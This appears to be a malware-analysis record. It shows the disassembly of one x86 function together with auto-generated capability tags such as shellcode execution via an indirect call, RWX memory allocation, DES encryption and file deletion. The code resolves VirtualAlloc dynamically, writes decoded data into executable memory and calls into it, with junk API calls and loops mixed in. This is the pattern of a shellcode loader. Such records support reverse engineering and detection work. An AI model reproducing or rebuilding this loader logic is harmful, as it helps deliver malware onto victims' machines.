Function at 0x401126
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check http status code
Delete file
Encode data using base64
Encrypt data using des
Execute shellcode via indirect call
Get common file path
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x40], 0x1986
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x48], TerminateProcess
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0x1000
mov dword [ebp - 0x3c], 0x3e0000
mov dword [ebp - 4], 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x28], 0
jmp 0x4011bf
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xc8
jge 0x4011e2
mov ecx, 0x4a4f28
test ecx, ecx
je 0x4011e2
call fcn.00401091
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x4011b6
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LocalLock]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x44], eax
call fcn.004010df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x401221
push 0x8000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.00401091
call fcn.004010df
mov dword [0x4bd5c0], eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp eax, 0x1f
je 0x4012a2
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x1660
mov dword [ebp - 0x4c], 0
jmp 0x40126b
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 0x3e8
jge 0x4012a2
call fcn.004010df
mov dword [ebp - 0x50], 0
jmp 0x40128b
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x4012a0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00401091
jmp 0x401282
jmp 0x401262
call fcn.00401091
call fcn.00401091
push 0
push 1
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov dword [ebp - 0x14], 0xa0f82
push str.VirtualAlloc
push 0
push 0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x34]
push 0x40
mov eax, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x40]
xor eax, eax
push eax
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push eax
mov eax, 0xffffffff
push eax
pop edx
mov ecx, ebx
call ecx
mov dword [0x4bd5cc], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [ebp - 0x14]
add edx, eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x48], 0xa
je 0x40140b
mov ecx, dword [ebp - 0x2c]
mov dword [0x4bd5bc], ecx
mov dword [ebp - 0x18], 0
mov edx, dword [0x4bd5bc]
sub edx, 1
cmp dword [ebp - 0x18], edx
jne 0x401359
push dword [0x4bd5c0]
jmp 0x40137e
mov dword [ebp - 0x54], 0
mov ebx, dword [ebp - 8]
jmp 0x586a40
mov edx, dword [0x4bd5bc]
sub edx, 1
cmp dword [ebp - 0x18], edx
jne 0x401394
mov ecx, dword [0x4bd5cc]
push ecx
push ecx
mov eax, dword [0x4bd5bc]
sub eax, 1
cmp dword [ebp - 0x18], eax
jae 0x4013d9
mov ecx, dword [0x4bd5cc]
mov dword [0x4bd5c4], ecx
mov edx, dword [0x4bd5c4]
add edx, dword [ebp - 0x18]
mov dword [0x4bd5c4], edx
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
push ecx
push 0
push 0x4bd5c4
push 0
push 3
call fcn.00401000
add esp, 0x18
jmp 0x4013eb
mov edx, dword [0x4bd5bc]
sub edx, 1
cmp dword [ebp - 0x18], edx
jne 0x4013eb
pop ecx
pop edx
call ecx
mov eax, dword [ebp - 0x18]
add eax, 1
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 0x18]
cmp edx, dword [0x4bd5bc]
jb 0x401343
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10